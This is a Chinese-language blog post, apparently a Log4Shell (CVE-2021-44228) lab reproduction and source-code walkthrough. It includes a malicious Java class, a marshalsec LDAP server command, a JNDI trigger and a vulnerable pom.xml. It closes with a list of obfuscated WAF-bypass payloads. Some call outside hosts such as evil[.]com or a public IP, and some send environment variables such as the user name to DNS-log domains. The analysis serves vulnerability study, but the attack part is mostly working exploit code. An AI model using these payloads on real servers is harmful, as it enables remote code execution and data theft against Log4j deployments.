漏洞复现
构造恶意类
public class Log4jRCE {
public Log4jRCE(){
try{
Runtime.getRuntime().exec(new String[]{"calc.exe"});
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] args) {
Log4jRCE log4jRCE = new Log4jRCE();
}
}
编译成字节码
开启ldap服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Log4jRCE" 1389
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://127.0.0.1:1389/Log4jRCE}");
}
}
直接运行即可弄出计算器
漏洞分析
log4j在处理字符会处理${}分割得到前缀和后缀,然后通过strLookupMap.get()得到前缀Jndilookup类,进而再调用其lookup()方法
开始会确定log日志存储的路径
然后在对传入的字符进行处理
org/apache/logging/log4j/log4j-core/2.12.1/log4j-core-2.12.1-sources.jar!/org/apache/logging/log4j/core/appender/AbstractOutputStreamAppender.java::directEncodeEvent()方法
调用了encode方法 而getLayout()得到的是PatternLayout
org/apache/logging/log4j/log4j-core/2.12.1/log4j-core-2.12.1-sources.jar!/org/apache/logging/log4j/core/layout/PatternLayout.java 的encode方法里调用ToText(),toText()方法又调用toSerializable()方法
看到这个方法里调用formatters[i]里的format方法,这个数组主要有这几个format类
后面再对传的值进行匹配进行匹配,
org/apache/logging/log4j/log4j-core/2.12.1/log4j-core-2.12.1-sources.jar!/org/apache/logging/log4j/core/pattern/MessagePatternConverter.java::format()方法里,这里我们也看到$,{的字样就是前缀,如果传的字符窜有$ {,就调用replace()方法
调用replace()方法
replace方法刚好调用了substitue()方法,重新回到字符匹配看下传入的值,
substitue()方法里对传入的值进行处理,这也是绕waf的重点之处
跟进发现会匹配这几个字符串: ${ } : -
判断传入的值这几个字符串出现的位置
第一步
先找到${ 的位置并最终位置,再找},
然后继续看看有没有${}
找到一对${}后,继续递归找一对${}
递归找完了后再找:- 的字符
找到最终的字符
匹配完了后,
进到org/apache/logging/log4j/log4j-core/2.12.1/log4j-core-2.12.1-sources.jar!/org/apache/logging/log4j/core/lookup/StrSubstitutor.java::resolveVariable()方法
这个getVariableResolver方法是有这些字典的
{date, ctx, main, sys, env, sd, java, web, marker, jndi, jvmrunargs, bundle, map, log4j}
jndi刚好就在
再跟进
先找到: 在mesaage出现的位置,返回变量:
匹配整个字符串
然后重新进到resolveVariable里
找到jndi
从map取JndiLookup对象
接着就是lookup方法了
熟悉的jndi调用
web环境
放个pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>log4j_test</artifactId>
<version>1.0-SNAPSHOT</version>
<name>log4j_test</name>
<!-- FIXME change it to the project's website -->
<url>http://www.example.com</url>
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<maven.compiler.source>1.8</maven.compiler.source>
<maven.compiler.target>1.8</maven.compiler.target>
</properties>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.2.2.RELEASE</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.12</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
<exclusions>
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-logging</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<exclusions>
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-logging</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-log4j2</artifactId>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-web</artifactId>
<version>2.12.1</version>
</dependency>
</dependencies>
<build>
<finalName>springboot</finalName>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>
https://github.com/penson233/log4j2-rce-demo
tips
我是一名推特的搬运工~~
一些绕过
1) CVE-2021-44228 (RCE) - Critical
Payload: ${jndi:ldap://evil[.]com:1389/a}
2) CVE-2021-45046 (RCE) - Critical
Payload: ${jndi:ldap://127.0.0.1#evil[.]com:1389/a}
3) CVE-2021-45105 (DoS) - High
Payload: ${${::-${::-$${::-j}}}}
${jnd${123%25ff:-${123%25ff:-i:}}ldap://127.0.0.1:1389/Exp}
${${::-j}${::-n}d${::-i}:${::-l}${::-d}${::-a}${::-p}://${::-1}${::-2}${::-7}.${::-0}.${::-0}.1:138${::-9}/${::-E}xp}
${${::-j}${::-n}d${::-i}:${::-l}${::-d}${::-a}${::-p}://${::-1}${::-5}${::-9}.${::-2}${::-2}3.5.30:44${::-3}/${::-o}=${::-t}omca${::-t}}
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//12/Basic/Command/Base64/[encoded]
${j${k8s:k5:-ND}i${sd:k5:-:}ldap://mydogsbutt.com:1389/o}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:l}${lower:d}${lower:a}${lower:p}}://139.59.175.247:1389/l6rntj}}
探测敏感信息
${jndi:ldap://${env:JAVA_VERSION}.oc96ka.dnslog.cn}
${jndi:ldap://${env:user}.abc.collab.com/a}